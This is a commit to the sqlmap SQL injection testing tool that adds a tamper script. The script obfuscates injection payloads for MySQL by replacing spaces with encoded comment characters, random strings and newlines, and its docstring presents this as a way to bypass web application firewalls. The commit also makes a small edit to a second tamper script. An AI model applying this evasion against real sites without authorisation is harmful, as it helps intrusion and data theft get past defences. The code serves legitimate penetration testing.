Added another tamper script from Roberto Salgado

bdamele · bdamele · commit 062c156fc014 · 2011-07-08T11:03:14.000Z
diff --git a/tamper/space2morepound.py b/tamper/space2morepound.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import os
+import re
+import random
+import string
+
+from lib.core.common import singleTimeWarnMessage
+from lib.core.data import kb
+from lib.core.enums import DBMS
+from lib.core.enums import PRIORITY
+from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
+
+__priority__ = PRIORITY.LOW
+
+def dependencies():
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__)[:-3], DBMS.MYSQL))
+
+def tamper(payload):
+    """
+    Replaces space character (' ') with a pound character ('#') followed by
+    a random string and a new line ('\n')
+
+    Example:
+        * Input: 1 AND 9227=9227
+        * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
+
+    Requirement:
+        * MySQL >= 5.1.13
+
+    Tested against:
+        * MySQL 5.1.41
+
+    Notes:
+        * Useful to bypass several web application firewalls
+    """
+
+    def process(match):
+        word = match.group('word')
+        randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
+
+        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
+            return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
+        else:
+            return match.group()
+
+    retVal = "" 
+
+    if payload:
+        payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload)
+
+        for i in xrange(len(payload)):
+            if payload[i].isspace():
+                randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
+                retVal += "%%23%s%%0A" % randomStr
+            else:
+                retVal += payload[i]
+
+    return retVal
diff --git a/tamper/space2pound.py b/tamper/space2pound.py
@@ -33,7 +33,7 @@ def tamper(payload):
         * MySQL
 
     Tested against:
-        * MySQL 5.0
+        * MySQL 4.0, 5.0
 
     Notes:
         * Useful to bypass several web application firewalls
